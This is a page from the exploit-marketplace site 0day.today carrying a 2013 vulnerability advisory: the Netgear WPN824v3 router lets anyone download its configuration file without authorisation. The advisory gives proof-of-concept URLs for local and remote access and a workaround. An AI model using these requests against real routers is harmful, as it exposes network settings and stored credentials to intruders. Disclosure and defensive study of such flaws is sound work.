0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Netgear WPN824v3 Unauthorized Config Download
[Title: ====== Netgear WPN824v3 Unauthorized Config Download Date: ===== 2013-06-03 Introduction: ============= The Netgear RangeMax Wireless Router (model WPN824v3) allows to download the config file without authorization. Status: ======== Published Affected Products: ================== Netgear WPN824v3 Vendor Homepage: ================ http://support.netgear.com/product/WPN824v3 Exploitation-Technique: ======================= Local and Remote Details: ======== I found a bug in the Netgear WPN824v3 wireless router, everyone is able to download the full config file without authorization. Unfortunately the config file is not htaccess protected. Tested with latest firmware V1.0.8_1.0.6. Proof of Concept: ================= The vulnerability can be exploited with your browser: http://[local-ip]/cgi-bin/NETGEAR_wpn824v3.cfg If remote management is enabled: http://[remote-ip]:8080/cgi-bin/NETGEAR_wpn824v3.cfg Workaround: ========= Disable the remote management feature! Author: ======== Jens Regel <jens@loxiran.de> # 0day.today [2024-12-24] #